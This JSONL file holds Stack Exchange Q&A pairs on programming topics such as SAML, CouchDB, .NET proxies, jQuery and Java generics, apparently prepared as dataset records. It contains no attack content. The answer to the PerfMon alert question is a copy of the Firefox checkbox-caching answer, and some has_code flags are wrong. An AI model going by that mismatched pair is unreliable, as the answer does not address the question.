{"id": "hf_e8687b74da5e", "question": "<p>I've been given the task of working with SAML to implement an SSO solution between my company and a third party provider.  My only issue is that I can't seem to find how to implement SAML in C# 2.0.  I've been able to find a few examples for .Net 3.0 and 3.5, but none for 2.0 (and the classes they use don't appear to be available in 2.0).  Does anyone know of any oline examples using SAML and C# 2.0?</p>\n", "question_body": "", "answer": "Unless you can find a third party implementation, you are going to have to upgrade beyond v2.0. Probobly not what you want to hear, sorry...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.069961"}
{"id": "hf_11b8e9895a4b", "question": "<p>I need to do transactions (begin, commit or rollback), locks (select for update).\nHow can I do it in a document model db?</p>\n\n<p>Edit:</p>\n\n<p>The case is this:</p>\n\n<ul>\n<li>I want to run an auctions site.</li>\n<li>And I think how to direct purchase as well.</li>\n<li>In a direct purchase I have to decrement the quantity field in the item record, but only if the quantity is greater than zero. That is why I need locks and transactions.</li>\n<li>I don't know how to address that without locks and/or transactions.</li>\n</ul>\n\n<p>Can I solve this with CouchDB?</p>\n", "question_body": "", "answer": "No.  CouchDB uses an \"optimistic concurrency\" model.  In the simplest terms, this just means that you send a document version along with your update, and CouchDB rejects the change if the current document version doesn't match what you've sent.\nIt's deceptively simple, really.  You can reframe many normal transaction based scenarios for CouchDB. You do need to sort of throw out your RDBMS domain knowledge when learning CouchDB, though.  It's helpful to approach problems from a higher level, rather than attempting to mold Couch to a SQL based world.\nKeeping track of inventory\nThe problem you outlined is primarily an inventory issue.  If you have a document describing an item, and it includes a field for \"quantity available\", you can handle concurrency issues like this:\nRetrieve the document, take note of the\n```\n_rev\n```\nproperty that CouchDB sends along\nDecrement the quantity field, if it's greater than zero\nSend the updated document back, using the\n```\n_rev\n```\nproperty\nIf the\n```\n_rev\n```\nmatches the currently stored number, be done!\nIf there's a conflict (when\n```\n_rev\n```\ndoesn't match), retrieve the newest document version\nIn this instance, there are two possible failure scenarios to think about.  If the most recent document version has a quantity of 0, you handle it just like you would in a RDBMS and alert the user that they can't actually buy what they wanted to purchase.  If the most recent document version has a quantity greater than 0, you simply repeat the operation with the updated data, and start back at the beginning.  This forces you to do a bit more work than an RDBMS would, and could get a little annoying if there are frequent, conflicting updates.\nNow, the answer I just gave presupposes that you're going to do things in CouchDB in much the same way that you would in an RDBMS.  I might approach this problem a bit differently:\nI'd start with a \"master product\" document that includes all the descriptor data (name, picture, description, price, etc).  Then I'd add an \"inventory ticket\" document for each specific instance, with fields for\n```\nproduct_key\n```\nand\n```\nclaimed_by\n```\n.  If you're selling a model of hammer, and have 20 of them to sell, you might have documents with keys like\n```\nhammer-1\n```\n,\n```\nhammer-2\n```\n, etc, to represent each available hammer.\nThen, I'd create a view that gives me a list of available hammers, with a reduce function that lets me see a \"total\".  These are completely off the cuff, but should give you an idea of what a working view would look like.\nMap\n```\n```\nfunction(doc) \n{ \n    if (doc.type == 'inventory_ticket' && doc.claimed_by == null ) { \n        emit(doc.product_key, { 'inventory_ticket' :doc.id, '_rev' : doc._rev }); \n    } \n}\n```\n```\nThis gives me a list of available \"tickets\", by product key.  I could grab a group of these when someone wants to buy a hammer, then iterate through sending updates (using the\n```\nid\n```\nand\n```\n_rev\n```\n) until I successfully claim one (previously claimed tickets will result in an update error).\nReduce\n```\n```\nfunction (keys, values, combine) {\n    return values.length;\n}\n```\n```\nThis reduce function simply returns the total number of unclaimed\n```\ninventory_ticket\n```\nitems, so you can tell how many \"hammers\" are available for purchase.\nCaveats\nThis solution represents roughly 3.5 minutes of total thinking for the particular problem you've presented.  There may be better ways of doing this!  That said, it does substantially reduce conflicting updates, and cuts down on the need to respond to a conflict with a new update.  Under this model, you won't have multiple users attempting to change data in primary product entry.  At the very worst, you'll have multiple users attempting to claim a single ticket, and if you've grabbed several of those from your view, you simply move on to the next ticket and try again.\nReference:\nhttps://wiki.apache.org/couchdb/Frequently_asked_questions#How_do_I_use_transactions_with_CouchDB.3F", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.096526"}
{"id": "hf_2593b10fd7b5", "question": "<p>I am trying to call a Actionscript function from javascript but I am having problems in Internet Explorer.\nI am using Swiff.remote in mootools 1.2.1 to call the actionscript function ie:</p>\n\n<pre><code>Swiff.remote(playSwf.toElement(), 'sendResult', result, plays, name);\n</code></pre>\n\n<p>This all works fine in FireFox, Safari and Opera but I'm getting an \"unspecified\" error in Internet Explorer 6 and 7.\nI have tried using the bog standard:</p>\n\n<pre><code>window['flash'].sendResult(result, plays, name);\n</code></pre>\n\n<p>To no avail.</p>\n\n<p>Thanks for any help.\nMark</p>\n", "question_body": "", "answer": "I'm not familiar with the Swiff plugin, but you don't need a plugin to call flash functions from Javascript. It's even easier to do it natively.\nFrom AS:\n```\n```\n//1. calling javascript function from Flash.\nExternalInterface.call(\"sendData\",tempStr);\n// argument 1: javascript function, argument 2: data/variables to pass out.\n//2. calling javascript function from Flash with recursion.\nvar returnValue:String = ExternalInterface.call(\"sendReturn\",tempStr).toString();\n//3. setting up a callback function for javascript\nExternalInterface.addCallback(\"callFlash\",flashResponse);\n// argument 1: function name called by javascript, argument 2: function on the Flash side.\n// AS2 version looks like this : ExternalInterface.addCallback(\"callFlash\",null,flashResponse);\n```\n```\nFrom JS:\n```\n```\n//1. javascript function as called from Flash.\nfunction sendData(val){\n    alert(val);\n    document.flashForm.flashOutput.value = val;\n}\n\n//2. javascript function with recursion.\nfunction sendReturn(val){\n    var tempData = \"Hello from JS\";\n    return tempData + ' :return';\n}\n\n//3. calling Flash function with javascript.\nfunction sendToFlash(val){\n    window['flash'].callFlash(val);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.139613"}
{"id": "hf_500b41db8258", "question": "<p>I searched and found <a href=\"https://stackoverflow.com/questions/233441/svn-how-do-i-maintain-my-local-configblah-file\">this question</a> but did not like the answer.</p>\n\n<p>Is there another way to get SVN to ignore config files that are checked in in-place (that you cannot check-in changed), but must be modified on your system.</p>\n\n<p>This is a pretty severe failure of SVN, my first disappointment with the system actually.  What I'm hoping for is that someone out there figured out a trick, perhaps with branching just the config files onto a new branch while leaving everything else pointing at the original branch.  Perhaps modifying the .svn directory?</p>\n\n<p>There must be a better solution then template/copy, that seems so unmaintainable.</p>\n", "question_body": "", "answer": "After messing around for a few hours I think I have an answer.  Since it's my own question, I guess I'll make it community wiki...\nI created a branch of the entire repository and pointed the \"Config\" type files at the new branch, then checked them in.\nI'm not sure how this will play out, but it made the \"Check everything in\" stuff work correctly.  I think if I change one of those files it'll work fine, checking it into my local repository.\nThe only thing that could be annoying is if someone else changes a file that I have branched, I'm not sure how I'll identify the fact that I'm supposed to merge.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.162855"}
{"id": "hf_a4c5355fa9b3", "question": "<p>I recently started facelets development, and a couple of days ago made my first useful custom tag. Now I would like to have auto-completion support in eclipse, like I have for standard taglibs like h, c and ui.</p>\n\n<p>Is there any easy way (less than 30 min work) to enable tool support for custom tags?</p>\n\n<p>I'm using eclipse 3.4 with jboss tools.</p>\n", "question_body": "", "answer": "What version of Eclipse are you using?\nMy current version (Version: 3.4.0, Build id: I20080617-2000, with WTP)has autocompletion for any taglib added as a directive on my JSP page (even if the current JSP file does a\n```\n<%@ include file=\"...\" %>\n```\nto the actual file with the taglib declarations in it), even the non-standard ones.\nFor example, Eclipse will autocomplete any\n```\n<form:blah>\n```\ntags for me if I have the following declaration:\n```\n```\n<%@ taglib prefix=\"form\" uri=\"http://www.springframework.org/tags/form\" %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.185259"}
{"id": "hf_307d2d0759f5", "question": "<p>I have an existing application written in Perl. Now I need to integrate this application with OBI. The plan is having a button the user can click on to open OBI in an <em>iframe</em>. OBI resides on a different server from the running application.</p>\n\n<p>Has anyone done this before, know what is the best practice for doing this, and what is the effort of doing this? <br>\nAnother question is is it possible to add customizations to the OBI displayed in the <em>iframe</em>.?</p>\n", "question_body": "", "answer": "There are two ways to address the problem that I know of and tried out.  According to your needs, one or the other might be more appropriate (or both, they're not mutually exclusive).  In both cases, the documentation is good and readily available.\nThe \"Go URL\"\nThe Go URL is documented more thoroughly in the Oracle Business Intelligence Presentation Services Administration Guide. It provides a quick and easy interface to the reports you've already defined, in the form of a URL.  All that's needed to get it running is to fill in a few query parameters to direct to the report you want.  You might need to include authentication tokens too.\nPros: very easy to try out.\nCons: harder to get security right.\nThe web services\nThe presentation server comes with a series of web services that enable a more programmatic way of querying your repository.  The functionality offered through this channel goes further: for example most catalog management, including report creation and editing is possible.  The full list fills a guide of its own: the Oracle Business Intelligence Web Services Guide.\nPros: better integration (i.e., no need for an IFRAME); easier to get the security right.\nCons: harder to setup; lots of XML; more advanced features (e.g. in-place drilldown) need an HTTP bridge that was a bitch to get right in my case.  The generated HTML might clash a bit with yours and require cleaning up, notably in the CSS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.224466"}
{"id": "hf_ec6bf453d415", "question": "<p>I'm executing several discrete queries in a single batch against SQL Server. For example:</p>\n\n<pre>\nupdate tableX set colA = 'freedom';\n\nselect lastName from customers;\n\ninsert into tableY (a,b,c) values (x,y,z);\n</pre>\n\n<p>Now, I want to capture the result in a DataSet (from select statement) which is easy enough to do...but how do I also capture the \"meta\" response from that command similar to the way Query Analyzer/SQL Mgt Studio does when it displays the \"Messages\" tab and diplays something similar to:</p>\n\n<pre>\n(1 Row affected)\n(2 Rows Updated)\n</pre>\n", "question_body": "", "answer": "My suggestion would be to use the @@rowcount variable for this.  Usually, when I'm doing these kind of commands, if I want to trap both the potential error and the rows affected, I do\n```\n```\ndeclare @rowsAffected int, @error int\n\nselect * from sometable\n     select @rowsAffected = @@rowcount, @error = @@error\n\nif @@error <> 0 goto errorCleanup\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.310619"}
{"id": "hf_9e41cd71ecaf", "question": "<p>In Mootools, I'd just run <code>if ($('target')) { ... }</code>.  Does <code>if ($('#target')) { ... }</code> in jQuery work the same way?</p>\n", "question_body": "", "answer": "no, jquery always returns a jquery object regardless if a selector was matched or not.\nYou need to use .length\n```\n```\nif ( $('#someDiv').length ){\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.334364"}
{"id": "hf_2dee90ae7371", "question": "<p>I'd like to have my Eclipse plugin cause a URL to be opened by the users' default browser. This seems like pretty standard behavior, but I haven't been able to find any docs on how to do this.</p>\n\n<p>Can anyone help?</p>\n", "question_body": "", "answer": "Do you mean launch an external windows (IE, FireFox, ...) outside eclipse, or opening an internal \"\nBrowser\n\" composite ?\nBecause on the internal side, the\norg.eclipse.help.ui.internal.browser.embedded.EmbeddedBrowser\nseems to be able to define any kind of major browser.\nTo open the default user's browser (as an internal or external window) is a preference defined in General/Web browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.357388"}
{"id": "hf_1a288f8942ed", "question": "<p>I'm reloading a web page that has the following code:</p>\n\n<pre><code>&lt;label for=\"showimage\"&gt;Show Image&lt;/label&gt;\n&lt;input id=\"showimage\" name=\"showimage\" type=\"checkbox\" value=\"1\" /&gt;\n</code></pre>\n\n<p>Even though the HTML stays sent to the browser is the same for each reload of the page, the checkbox always takes on the checked value when a reload was performed.  In other words, if the user checks the checkbox and reloads, the checkbox is still checked.</p>\n\n<p>Is there some caching going on here?  </p>\n\n<p><strong>Edit</strong>: I tried Gordon Bell's solution below and find that this is still happening even after removing the value=\"1\".  Anything else I might be missing?</p>\n\n<pre><code>&lt;label for=\"showimage\"&gt;Show Image&lt;/label&gt; \n&lt;input id=\"showimage\" name=\"showimage\" type=\"checkbox\" /&gt; \n</code></pre>\n", "question_body": "", "answer": "Yes, I believe it is caching. I see this behaviour on Firefox for example (not Safari, for what that's worth :) ).\nyou can reload the page and bypass the cache (on Firefox) using\nCTRL\n-\nSHIFT\n-\nR\nand you'll see the check value doesn't carry (a normal\nCTRL\n-\nR\nwill grab the info from the cache however)\nedit\n: I was able to disable this server side on Firefox, setting a cache control header:\n```\n```\nCache-Control: no-store\n```\n```\nthis seems to disable the \"remember form values\" feature of Firefox", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.380792"}
{"id": "hf_fae474e5217e", "question": "<p>I'm trying to setup an alert to let me know via email (SMTP) when free disk space on one of my servers is less than a specified value. To do this I'm using PerfMon alerts, as described at <a href=\"http://support.microsoft.com/kb/324796\" rel=\"nofollow noreferrer\">MSFT Technet</a>. I have the alert working and writing to the system log, but when I try to set it to 'Run Program' it fails. The log alert fires but the program fails.</p>\n\n<p>The program I'm using is a small C# app I wrote to send an smtp email. I have tested the app independently from this server, running it manually and it works fine, without any user interaction (console app). But when I have it set to run via the alert trigger it fails.</p>\n", "question_body": "", "answer": "Yes, I believe it is caching. I see this behaviour on Firefox for example (not Safari, for what that's worth :) ).\nyou can reload the page and bypass the cache (on Firefox) using\nCTRL\n-\nSHIFT\n-\nR\nand you'll see the check value doesn't carry (a normal\nCTRL\n-\nR\nwill grab the info from the cache however)\nedit\n: I was able to disable this server side on Firefox, setting a cache control header:\n```\n```\nCache-Control: no-store\n```\n```\nthis seems to disable the \"remember form values\" feature of Firefox", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.403787"}
{"id": "hf_2300eb1fc79a", "question": "<p>In linux, if I have a file I'm sharing with a group, and I put the file on a USB memory stick, for example, and copy it to a computer that doesn't have the same group or users, does the file have no permissions for anyone on that new computer?  What if I bring a linux file that only lets user X to read it to a windows machine?  Who gets to read it on the windows machine? since user X (and group) doesn't exist on that machine.  </p>\n\n<p>What kind of security do I get copying a linux file to another linux machine? how about to a windows machine?</p>\n\n<p>What kind of security do I get copying a windows file to another windows machine?  how about to a linux machine?</p>\n\n<p>Please let me know.  </p>\n\n<p>jbu</p>\n", "question_body": "", "answer": "Regarding the USB key: generally, USB keys use one of the FAT family of filesystems; FAT doesn't support security at all, so as soon as you copy the file to it the security information is lost. So for your first question, anyone who has the USB key can read it on any computer from any user account. It is possible to format USB keys using another filesystem (for example, NTFS, which does support security); in that case, if the accounts (in Windows, at least, it must be a domain account or similar, just naming two accounts the same will not do it) do not exist on the target computer, only a user who can ignore filesystem permissions (such as root on *nix or Administrator on Windows) will be able to access the file.\nFor the second, I'm not 100% sure but I believe it depends on how you copy it; things like FTP and rcp generally don't copy permissions over, so I would assume that the file gets some kind of default permissions for the target directory, or a default built into the copy program, depending on what the copy program does.\nFor windows, to the best of my knowledge the security descriptor is initially inherited from the target folder; permissions are, again, not persisted across machines. It can be modified after the copy.\nIn general, except in specific environments that are designed to transfer permissions, I would assume that transferring any file from one computer to another resets the security permissions to a default (generally whatever a\nnew\nfile in that location would receive).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.426804"}
{"id": "hf_a057fb036050", "question": "<p>I'm writing an HTTP Cache library for Java, and I'm trying to use that library in the same application which is started twice. I want to be able to share the cache between those instances.</p>\n\n<p>What is the best solution for this? I also want to be able to write to that same storage, and it should be available for both instances.</p>\n\n<p>Now I have a memory-based index of the files available to the cache, and this is not shareable over multiple VMs. It is serialized between startups, but this won't work for a shared cache.</p>\n\n<p>According to the HTTP Spec, I can't just map files to URIs as there might be a variation of the same payload based on the request. I might, for instance, have a request that varies on the 'accept-language' header: In that case I would have a different file for each subsequent request which specifies a different language.</p>\n\n<p>Any Ideas?</p>\n", "question_body": "", "answer": "I think you should have a look at the\nWebDav-Specifications\n. It's an HTTP extension for sharing/editing/storing/versioning resources on a server. There exists an implementation as an\nApache module\n, wich allows you a swift start using them.\nSo instead of implementing your own cache server implementation, you might be better off with a local Apache + mod-dav instance that is available to both of your applications.\nExtra bonus: Since WebDav is a specified protocoll you get the interoperability with lots of tools for free.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.474221"}
{"id": "hf_f7f563203d00", "question": "<p>CodeIgniter allows access to POSTed data via:</p>\n\n<pre><code>$this-&gt;input-&gt;post('input_name');\n</code></pre>\n\n<p>where 'input_name' is the name of a form field. This works well for a static form where each input name in known ahead of time.</p>\n\n<p>In my case, I am loading a collection of key/value pairs from the database. The form contains a text input for each key/value pair.</p>\n\n<p>I am wondering, <strong>is there a way to get an array of posted data via the CodeIgniter api?</strong></p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "According to the documentation, no. I would suggest just using\n```\narray_keys($_POST)\n```\nto get the keys.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.498221"}
{"id": "hf_99313f60d9e8", "question": "<p>I am using a ResourceDictionary, but I would like to be able to look up the value or the key with the other item.  Each is always unique, so that is not a problem.  Is there a type that has this double sided lookup feature?</p>\n", "question_body": "", "answer": "Not built in, but this is pretty easy to write.  I would probably implement IDictionary for this though...  You would then dump the ResourceDictionary into your custom type.\n```\n```\npublic class DoubleLookup<TKey, TValue>\n{\n  private IDictionary<TKey, TValue> keys;\n  private IDictionary<TValue, TKey> values;\n\n  //stuff...\n\n  public void Add(TKey key, TValue value)\n  {\n    this.keys.Add(key, value);\n    this.values.Add(value, key);\n  }\n\n  public TKey GetKeyFromValue(TValue value)\n  {\n    return this.values[value];\n  }\n\n  public TValue GetValueFromKey(TKey key)\n  {\n    return this.keys[key];\n  }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.533396"}
{"id": "hf_e2ea8b5c5108", "question": "<p>How can I center an image horizontally and aligned to the bottom of the container at the same time? </p>\n\n<p>I have been able to center the image horizontally by its self. I have also been able to align the bottom of the container by its self. But I have not been able to do both at the same time. </p>\n\n<p>Here is what I have:</p>\n\n<pre><code>.image_block {\n    width: 175px;\n    height: 175px;\n    position: relative;\n    margin: 0 auto;\n}\n.image_block a img {\nposition: absolute;\nbottom: 0;\n}\n\n&lt;div class=\"image_block\"&gt;\n    &lt;a href=\"...\"&gt;&lt;img src=\"...\" border=\"0\"&gt;&lt;/a&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>That code aligns the image to the bottom of the div. What do I need to add/change to make it also center the image horizontally inside the div? The image size is not known before hand but it will be 175x175 or less.</p>\n", "question_body": "", "answer": "Remove the\n```\nposition: relative;\n```\nline. I'm not sure why exactly but it fixes it for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.555965"}
{"id": "hf_15caf82b57f4", "question": "<p>The following code works for me:</p>\n\n<pre><code>var webProxy = WebProxy.GetDefaultProxy();\nwebProxy.UseDefaultCredentials = true;\nWebRequest.DefaultWebProxy = webProxy;\n</code></pre>\n\n<p>Unfortunately, <code>WebProxy.GetDefaultProxy()</code> is deprecated.  What else should I be doing?</p>\n\n<p>(using app.config to set the defaultProxy settings is not allowed in my deployment)</p>\n", "question_body": "", "answer": "From .NET 2.0 you shouldn't need to do this. If you do not explicitly set the Proxy property on a web request it uses the value of the static WebRequest.DefaultWebProxy. If you wanted to change the proxy being used by all subsequent WebRequests, you can set this static DefaultWebProxy property.\nThe default behaviour of WebRequest.DefaultWebProxy is to use the same underlying settings as used by Internet Explorer.\nIf you wanted to use\ndifferent proxy settings\nto the current user then you would need to code\n```\n```\nWebRequest webRequest = WebRequest.Create(\"http://stackoverflow.com/\");\nwebRequest.Proxy = new WebProxy(\"http://proxyserver:80/\",true);\n```\n```\nor\n```\n```\nWebRequest.DefaultWebProxy = new WebProxy(\"http://proxyserver:80/\",true);\n```\n```\nYou should also remember the object model for proxies includes the concept that the proxy can be different depending on the destination hostname. This can make things a bit confusing when debugging and checking the property of webRequest.Proxy. Call\n```\nwebRequest.Proxy.GetProxy(new Uri(\"http://google.com.au\"))\n```\nto see the actual details of the proxy server that would be used.\nThere seems to be some debate about whether you can set\n```\nwebRequest.Proxy\n```\nor\n```\nWebRequest.DefaultWebProxy = null\n```\nto prevent the use of any proxy. This seems to work OK for me but you could set it to\n```\nnew DefaultProxy()\n```\nwith no parameters to get the required behaviour. Another thing to check is that if a\nproxy element\nexists in your applications config file, the .NET Framework will\nNOT\nuse the proxy settings in Internet Explorer.\nThe MSDN Magazine article\nTake the Burden Off Users with Automatic Configuration in .NET\ngives further details of what is happening under the hood.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.638685"}
{"id": "hf_d794d6325696", "question": "<p>I have a string of test like this:</p>\n\n<pre><code>&lt;customtag&gt;hey&lt;/customtag&gt;\n</code></pre>\n\n<p>I want to use a RegEx to modify the text between the \"customtag\" tags so that it might look like this:</p>\n\n<pre><code>&lt;customtag&gt;hey, this is changed!&lt;/customtag&gt;\n</code></pre>\n\n<p>I know that I can use a MatchEvaluator to modify the text, but I'm unsure of the proper RegEx syntax to use. Any help would be much appreciated.</p>\n", "question_body": "", "answer": "I'd chew my own leg off before using a regular expression to parse and alter HTML.\nUse\nXSL\nor\nDOM\n.\nTwo comments have asked me to clarify.  The regular expression substitution works in the specific case in the OP's question, but in general regular expressions are not a good solution.  Regular expressions can match\nregular languages\n, i.e. a sequence of input which can be accepted by a finite state machine.  HTML can contain nested tags to any arbitrary depth, so it's not a regular language.\nWhat does this have to do with the question?  Using a regular expression for the OP's question as it is written works, but what if the content between the\n```\n<customtag>\n```\ntags contains other tags?  What if a literal\n```\n<\n```\ncharacter occurs in the text?  It has been 11 months since Jon Tackabury asked the question, and I'd guess that in that time, the complexity of his problem may have increased.\nRegular expressions are great tools and I do use them all the time.  But using them in lieu of a real parser for input that needs one is going to work in only very simple cases.  It's practically inevitable that these cases grow beyond what regular expressions can handle.  When that happens, you'll be tempted to write a more complex regular expression, but these quickly become very laborious to develop and debug.  Be ready to scrap the regular expression solution when the parsing requirements expand.\nXSL and DOM are two standard technologies designed to work with XML or XHTML markup.  Both technologies know how to parse structured markup files, keep track of nested tags, and allow you to transform tags attributes or content.\nHere are a couple of articles on how to use XSL with C#:\nhttp://www.csharpfriends.com/Articles/getArticle.aspx?articleID=63\nhttp://www.csharphelp.com/archives/archive78.html\nHere are a couple of articles on how to use DOM with C#:\nhttp://msdn.microsoft.com/en-us/library/aa290341%28VS.71%29.aspx\nhttp://blogs.msdn.com/tims/archive/2007/06/13/programming-html-with-c.aspx\nHere's a .NET library that assists DOM and XSL operations on HTML:\nhttp://www.codeplex.com/Wiki/View.aspx?ProjectName=htmlagilitypack", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.663993"}
{"id": "hf_81d2ae0e6cc0", "question": "<p>Are there any issues with changing elements which will appear on a web page within a thread. I am from a windows programming background and obviously if a thread needs to change the GUI in some way you have to delegate it to the GUI thread.</p>\n\n<p>Basically my page uses 3 sql queries which can be run concurrently to obtain the page data. So I setup 3 threads and have them run, if one fails or has no records it makes an error message visible about it, this is currently done within the thread and seems to work.</p>\n\n<p>Note: The 3 sql queries are for very different data it is definitely fastest to run 3 separate queries and running them at the same time makes it even faster (In terms of how long it takes the page to display).</p>\n\n<p>Edit: The threads are joined in the page load event</p>\n", "question_body": "", "answer": "You're going to have to join all 3 threads before rendering the page.  Once it's rendered out, there's no updating it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.747155"}
{"id": "hf_a28a6946b559", "question": "<p>I'm working on some Silverlight controls and I would like to explicitly handle the way they appear in Blend.\nSpecifically, these controls have dependencies that are initialized at runtime, and thus throw exceptions in the designer. But even in the absence of the exception, I would like to make them appear a certain way in Blend.</p>\n\n<p>I know that this is possible with WPF (using myassembly.VisualStudio.Design.dll), but I haven't been able to find info on doing this with Silverlight.</p>\n\n<p>I have seen the hack described <a href=\"http://blogs.msdn.com/expression/archive/2008/10/27/simulating-sample-data-in-blend-2-sp1.aspx\" rel=\"nofollow noreferrer\">here</a> that checks does this:</p>\n\n<pre><code>bool designTime = (System.Windows.Browser.HtmlPage.IsEnabled == false);\n</code></pre>\n\n<p>I would prefer a more explicit solution though.</p>\n", "question_body": "", "answer": "There is an extremely detailed post on\nhow to deal with design time extensibility here\n. There you will find out how to do the Visual Studio and Blend design time stuff for Silverlight.\nControl vendors and people who author custom controls often find themselves wishing they could give a better experience for their custom controls. \n  However, there’s a huge lack of public information on this topic. And I’ve decided to correct this situation with this short 50+ pages article.\nLike I said, it's long. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.818819"}
{"id": "hf_d4cf9d9d1639", "question": "<p>I have got a template class as follows:</p>\n\n<pre><code>class MyClass&lt;T&gt;\n{\n    T field;\n    public void myMethod()\n    {\n       field = new T(); // gives compiler error\n    }\n}\n</code></pre>\n\n<p>How do I create a new instance of T in my class?</p>\n", "question_body": "", "answer": "After type erasure, all that is known about\n```\nT\n```\nis that it is some subclass of\n```\nObject\n```\n. You need to specify some factory to create instances of\n```\nT\n```\n.\nOne approach could use a\n```\nSupplier<T>\n```\n:\n```\n```\nclass MyClass<T> {\n\n  private final Supplier<? extends T> ctor;\n\n  private T field;\n\n  MyClass(Supplier<? extends T> ctor) {\n    this.ctor = Objects.requireNonNull(ctor);\n  }\n\n  public void myMethod() {\n    field = ctor.get();\n  }\n\n}\n```\n```\nUsage might look like this:\n```\n```\nMyClass<StringBuilder> it = new MyClass<>(StringBuilder::new);\n```\n```\nAlternatively, you can provide a\n```\nClass<T>\n```\nobject, and then use reflection.\n```\n```\nclass MyClass<T> {\n\n  private final Constructor<? extends T> ctor;\n\n  private T field;\n\n  MyClass(Class<? extends T> impl) throws NoSuchMethodException {\n    this.ctor = impl.getConstructor();\n  }\n\n  public void myMethod() throws Exception {\n    field = ctor.newInstance();\n  }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:49.842405"}
